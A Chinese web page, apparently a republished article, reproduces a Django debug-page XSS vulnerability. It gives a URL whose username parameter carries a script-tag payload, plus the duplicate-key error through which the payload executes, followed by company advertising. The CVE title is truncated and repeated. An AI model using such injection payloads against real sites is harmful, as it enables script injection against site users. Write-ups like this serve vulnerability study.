DjangodebugpageXSS漏洞（CVE-20

漏洞复现：
1.创建个用户：ip:8000/create_user/?username=<script>alert(7)</script>
Django debug page XSS漏洞（CVE-20
显示用户已创建。
2.触发漏洞，再次访问ip:8000/create_user/?username=<script>alert(7)</script>

3.触发异常：duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(7)</script>) already exists.
Django debug page XSS漏洞（CVE-20
4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception，最后触发XSS。

创新互联公司致力于互联网品牌建设与网络营销，包括网站设计、网站建设、SEO优化、网络推广、整站优化营销策划推广、电子商务、移动互联网营销等。创新互联公司为不同类型的客户提供良好的互联网应用定制及解决方案，创新互联公司核心团队10年专注互联网开发，积累了丰富的网站经验，为广大企业客户提供一站式企业网站建设服务，在网站建设行业内树立了良好口碑。

新闻标题：DjangodebugpageXSS漏洞（CVE-20
文章起源：https://www.cdcxhl.com/article2/joseic.html

成都网站建设公司_创新互联，为您提供面包屑导航、服务器托管、网站导航、网站营销、Google、电子商务

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源：创新互联

猜你还喜欢下面的内容